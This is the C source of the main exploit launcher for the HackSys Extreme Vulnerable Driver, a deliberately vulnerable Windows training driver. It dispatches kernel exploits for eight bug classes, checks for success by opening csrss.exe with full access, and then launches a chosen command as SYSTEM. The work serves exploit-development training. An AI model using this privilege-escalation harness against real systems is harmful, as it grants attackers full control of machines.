/*++

          ##     ## ######## ##     ## ########  
          ##     ## ##       ##     ## ##     ## 
          ##     ## ##       ##     ## ##     ## 
          ######### ######   ##     ## ##     ## 
          ##     ## ##        ##   ##  ##     ## 
          ##     ## ##         ## ##   ##     ## 
          ##     ## ########    ###    ########  

        HackSys Extreme Vulnerable Driver Exploit

Author : Ashfaq Ansari
Contact: ashfaq[at]payatu[dot]com
Website: http://www.payatu.com/

Copyright (C) 2011-2015 Payatu Technologies. All rights reserved.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:
    HackSysEVDExploit.c

Abstract:
    This module implements the main routines to invoke 
    exploit for respective vulnerabilities.

TODO:
    1. This exploit has only been designed for Windows 7 x86, 
       add support for x64.
    2. Port the exploit to work on Windows 8.1/10, I know Null 
       Pointer Deference bug will be eliminated.
    3. Test on multiple systems to determine reliability.

--*/

#include "HackSysEVDExploit.h"

CHAR *argv0;

static VOID ShowUsage(PTCHAR argv0) {
    DEBUG_ERROR("                                             \n"
                " Usage: %s [option] -c [process to launch]   \n"
                "                                             \n"
                "        %s -a cmd.exe                        \n"
                "                                             \n"
                "        [option]                             \n"
                "            -p : Pool Overflow               \n"
                "            -s : Stack Overflow              \n"
                "            -u : Use After Free              \n"
                "            -t : Type Confusion              \n"
                "            -i : Integer Overflow            \n"
                "            -g : Stack Overflow GS           \n"
                "            -n : Null Pointer Dereference    \n"
                "            -a : Arbitrary Memory Overwrite  \n"
                "                                             \n", argv0, argv0);
    exit(EXIT_FAILURE);
}

VOID LaunchExploitThread(LPTHREAD_START_ROUTINE lpExploitHandlerThread) {
    HANDLE hThread = NULL;
    DWORD threadTimeout = 0x50000;

    // Create a new thread
    DEBUG_MESSAGE("\t[+] Creating The Exploit Thread\n");
    hThread = CreateThread(NULL, 0, lpExploitHandlerThread, NULL, 0, 0);

    if (!hThread) {
        DEBUG_ERROR("\t\t[-] Failed To Create Exploit Thread: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        DEBUG_INFO("\t\t[+] Exploit Thread Handle: 0x%X\n", hThread);
    }

    if (WaitForSingleObject(hThread, threadTimeout)) {
        // Terminate the thread
        TerminateThread(hThread, EXIT_FAILURE);
        DEBUG_INFO("\t\t[+] Terminated Exploit Thread: 0x%X\n", hThread);
    }
}

BOOL IsProcessHavingHigherPrivilege(LPCSTR processToOpen) {
    DWORD processID = 0;
    HANDLE hProcess = NULL;
    BOOL isHighPrivileged = FALSE;

    DEBUG_MESSAGE("\t[+] Trying To Get Process ID Of: %s\n", processToOpen);

    processID = GetProcessID(processToOpen);

    if (!processID) {
        DEBUG_ERROR("\t\t[-] Failed To Get Process ID Of: %s\n", processToOpen);
        exit(EXIT_FAILURE);
    }
    else {
        DEBUG_INFO("\t\t[+] Process ID Of %s: %d\n", processToOpen, processID);
    }

    DEBUG_MESSAGE("\t[+] Trying To Open %s With PROCESS_ALL_ACCESS\n", processToOpen, processID);

    // open the process to check the privilege level, if we are able
    // to open any SYSTEM process, this means we have successfully
    // elevated current process privileges
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);

    if (!hProcess) {
        DEBUG_ERROR("\t\t[-] Failed To Open %s Process: 0x%X\n", processToOpen, GetLastError());
    }
    else {
        DEBUG_INFO("\t\t[+] Process Handle Of %s: 0x%X\n", processToOpen, hProcess);
        isHighPrivileged = TRUE;
    }

    return isHighPrivileged;
}

VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability) {
    DOUBLE elapsedTime = 0;
    TIME startTime, finishTime;
    STARTUPINFO startupInfo = {0};
    PROCESS_INFORMATION processInformation = {0};
    VULNERABILITY_TYPE vulnerabilityType = pExploitVulnerability->VulnerabilityType;

    // Log the start time
    startTime = time(NULL);

    // Determine type of vulnerability to exploit
    switch (vulnerabilityType) {
        case PoolOverflow:
            DEBUG_MESSAGE("[+] Starting Pool Overflow Exploitation\n");
            LaunchExploitThread(&PoolOverflowThread);
            DEBUG_MESSAGE("[+] Completed Pool Overflow Exploitation\n");
            break;
        case UseAfterFree:
            DEBUG_MESSAGE("[+] Starting Use After Free Exploitation\n");
            LaunchExploitThread(&UseAfterFreeThread);
            DEBUG_MESSAGE("[+] Completed Use After Free Exploitation\n");
            break;
        case TypeConfusion:
            DEBUG_MESSAGE("[+] Starting Type Confusion Exploitation\n");
            LaunchExploitThread(&TypeConfusionThread);
            DEBUG_MESSAGE("[+] Completed Type Confusion Exploitation\n");
            break;
        case StackOverflow:
            DEBUG_MESSAGE("[+] Starting Stack Overflow Exploitation\n");
            LaunchExploitThread(&StackOverflowThread);
            DEBUG_MESSAGE("[+] Completed Stack Overflow Exploitation\n");
            break;
        case IntegerOverflow:
            DEBUG_MESSAGE("[+] Starting Integer Overflow Exploitation\n");
            LaunchExploitThread(&IntegerOverflowThread);
            DEBUG_MESSAGE("[+] Completed Integer Overflow Exploitation\n");
            break;
        case StackOverflowGS:
            DEBUG_MESSAGE("[+] Starting Stack Overflow GS Exploitation\n");
            LaunchExploitThread(&StackOverflowGSThread);
            DEBUG_MESSAGE("[+] Completed Stack Overflow GS Exploitation\n");
            break;
        case ArbitraryOverwrite:
            DEBUG_MESSAGE("[+] Starting Arbitrary Memory Overwrite Exploitation\n");
            LaunchExploitThread(&ArbitraryOverwriteThread);
            DEBUG_MESSAGE("[+] Completed Arbitrary Memory Overwrite Exploitation\n");
            break;
        case NullPointerDereference:
            DEBUG_MESSAGE("[+] Starting Null Pointer Dereference Exploitation\n");
            LaunchExploitThread(&NullPointerDereferenceThread);
            DEBUG_MESSAGE("[+] Completed Null Pointer Dereference Exploitation\n");
            break;
    }

    DEBUG_MESSAGE("[+] Checking Current Process Privileges\n");

    // verify if the privilege escalation was successful
    if (!IsProcessHavingHigherPrivilege("csrss.exe")) {
        DEBUG_ERROR("\t[-] Failed To Elevate Privileges Of Current Process\n");
        exit(EXIT_FAILURE);
    }
    else {
        DEBUG_MESSAGE("\t[+] Successfully Elevated Current Process Privileges\n");
    }

    startupInfo.wShowWindow = SW_SHOW;
    startupInfo.cb          = sizeof(STARTUPINFO);
    startupInfo.dwFlags     = STARTF_USESHOWWINDOW;

    // Log the finish time
    finishTime = time(NULL);

    // Calculate the elapsed time
    elapsedTime = difftime(finishTime, startTime);

    DEBUG_MESSAGE("[+] Enjoy As SYSTEM [%f]s\n\n", elapsedTime);

    if (!CreateProcess(NULL,
                       pExploitVulnerability->Command,
                       NULL,
                       NULL,
                       FALSE,
                       CREATE_NEW_CONSOLE,
                       NULL,
                       NULL,
                       &startupInfo,
                       &processInformation)) {
        DEBUG_ERROR("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    WaitForSingleObject(processInformation.hProcess, INFINITE);

    // Close the open handles
    CloseHandle(processInformation.hThread);
    CloseHandle(processInformation.hProcess);
}


INT main(UINT argc, PTCHAR argv[]) {
    CONST PTCHAR banner =
        "\t\t                                               \t\n"
        "\t\t    ##     ## ######## ##     ## ########      \t\n"
        "\t\t    ##     ## ##       ##     ## ##     ##     \t\n"
        "\t\t    ##     ## ##       ##     ## ##     ##     \t\n"
        "\t\t    ######### ######   ##     ## ##     ##     \t\n"
        "\t\t    ##     ## ##        ##   ##  ##     ##     \t\n"
        "\t\t    ##     ## ##         ## ##   ##     ##     \t\n"
        "\t\t    ##     ## ########    ###    ########      \t\n"
        "\t\t                                               \t\n"
        "\t\t  HackSys Extreme Vulnerable Driver Exploits   \t\n"
        "\t\t         Ashfaq Ansari (@HackSysTeam)          \t\n"
        "\t\t           ashfaq[at]payatu[dot]com            \t\n"
        "\t\t                                               \t\n";

    PTCHAR commandToExecute = NULL;
    EXPLOIT_VULNERABILITY exploitVulnerability;

    ClearScreen();
    CenterConsoleScreen();

    // Print the banner
    DEBUG_SUCCESS(banner);

    if (argc < 3) {
        ShowUsage(argv[0]);
    }

    // Parse the command line arguments
    ARGBEGIN {
    case 'p':
        exploitVulnerability.VulnerabilityType = PoolOverflow;
        break;
    case 'u':
        exploitVulnerability.VulnerabilityType = UseAfterFree;
        break;
    case 't':
        exploitVulnerability.VulnerabilityType = TypeConfusion;
        break;
    case 's':
        exploitVulnerability.VulnerabilityType = StackOverflow;
        break;
    case 'i':
        exploitVulnerability.VulnerabilityType = IntegerOverflow;
        break;
    case 'g':
        exploitVulnerability.VulnerabilityType = StackOverflowGS;
        break;
    case 'a':
        exploitVulnerability.VulnerabilityType = ArbitraryOverwrite;
        break;
    case 'n':
        exploitVulnerability.VulnerabilityType = NullPointerDereference;
        break;
    case 'c':
        exploitVulnerability.Command = EARGF(ShowUsage(argv[0]));
        break;
    default:
        ShowUsage(argv[0]);
    } ARGEND;

    // Start the exploitation
    Exploit(&exploitVulnerability);

    return EXIT_SUCCESS;
}